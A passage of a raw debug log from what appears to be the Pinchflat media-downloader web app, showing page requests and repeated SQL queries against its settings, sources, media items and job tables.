?) [469] 15:23:51.614 [info] Sent 200 in 3ms 15:23:51.614 [debug] QUERY OK source="media_profiles" db=0.4ms idle=0.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:23:51.614 [debug] QUERY OK source="media_items" db=0.2ms idle=0.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6485] 15:23:51.614 [info] GET /sources/2/media/6111 15:23:51.614 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6111", "source_id" => "2"} Pipelines: [:browser] 15:23:51.614 [info] GET /sources/1/media/6107 15:23:51.614 [info] GET /sources/2 15:23:51.614 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6107", "source_id" => "1"} Pipelines: [:browser] 15:23:51.614 [debug] QUERY OK source="settings" db=0.4ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.614 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 15:23:51.614 [debug] QUERY OK source="tasks" db=0.3ms idle=0.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6485] 15:23:51.614 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.615 [debug] QUERY OK source="media_items" db=0.9ms idle=0.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6484] 15:23:51.615 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:23:51.615 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6111] 15:23:51.615 [debug] QUERY OK source="settings" db=0.2ms queue=0.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.615 [debug] QUERY OK source="tasks" db=0.6ms queue=0.4ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 15:23:51.615 [debug] QUERY OK source="media_items" db=0.3ms queue=0.4ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:23:51.615 [debug] QUERY OK source="media_items" db=0.6ms queue=0.4ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6107] 15:23:51.615 [debug] QUERY OK source="tasks" db=0.2ms queue=0.3ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6484] 15:23:51.615 [debug] QUERY OK source="tasks" db=0.2ms queue=0.1ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6111] 15:23:51.615 [debug] QUERY OK source="sources" db=0.1ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:23:51.616 [debug] QUERY OK source="sources" db=0.2ms queue=0.5ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:23:51.616 [debug] QUERY OK source="oban_jobs" db=0.3ms queue=0.5ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [382] 15:23:51.616 [debug] QUERY OK source="sources" db=2.2ms idle=0.1ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 15:23:51.616 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:23:51.616 [debug] QUERY OK source="oban_jobs" db=0.6ms queue=0.4ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [689, 430] 15:23:51.616 [debug] QUERY OK source="settings" db=0.5ms queue=0.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.616 [debug] QUERY OK source="sources" db=1.0ms queue=1.1ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:23:51.616 [debug] QUERY OK source="tasks" db=0.5ms queue=0.4ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6107] 15:23:51.617 [debug] QUERY OK source="settings" db=0.1ms queue=0.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.617 [debug] QUERY OK source="oban_jobs" db=0.3ms queue=0.5ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [381] 15:23:51.617 [debug] QUERY OK source="oban_jobs" db=0.3ms queue=0.7ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [369] 15:23:51.617 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.617 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.618 [debug] QUERY OK source="media_profiles" db=0.7ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:23:51.618 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.3ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:23:51.618 [debug] QUERY OK source="settings" db=0.3ms queue=0.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.618 [debug] QUERY OK source="settings" db=0.6ms queue=0.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.618 [debug] QUERY OK source="settings" db=0.5ms queue=0.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.619 [debug] QUERY OK source="media_items" db=2.5ms queue=0.5ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:23:51.619 [debug] QUERY OK source="oban_jobs" db=0.5ms queue=1.4ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [79] 15:23:51.619 [info] Sent 200 in 7ms 15:23:51.619 [debug] QUERY OK source="settings" db=0.5ms queue=0.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.619 [debug] QUERY OK source="settings" db=0.4ms queue=0.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.619 [debug] QUERY OK source="tasks" db=0.7ms queue=0.6ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 15:23:51.619 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.619 [debug] QUERY OK source="settings" db=0.1ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.619 [debug] QUERY OK source="settings" db=0.1ms queue=0.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.619 [debug] QUERY OK source="sources" db=0.3ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:23:51.621 [debug] QUERY OK source="sources" db=4.2ms queue=0.5ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 15:23:51.622 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:23:51.622 [info] Sent 200 in 11ms 15:23:51.622 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.3ms idle=2.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [687, 373] 15:23:51.622 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.622 [debug] QUERY OK source="settings" db=0.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.623 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.623 [debug] QUERY OK source="settings" db=0.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.623 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:23:51.623 [info] Sent 200 in 9ms 15:23:51.623 [debug] QUERY OK 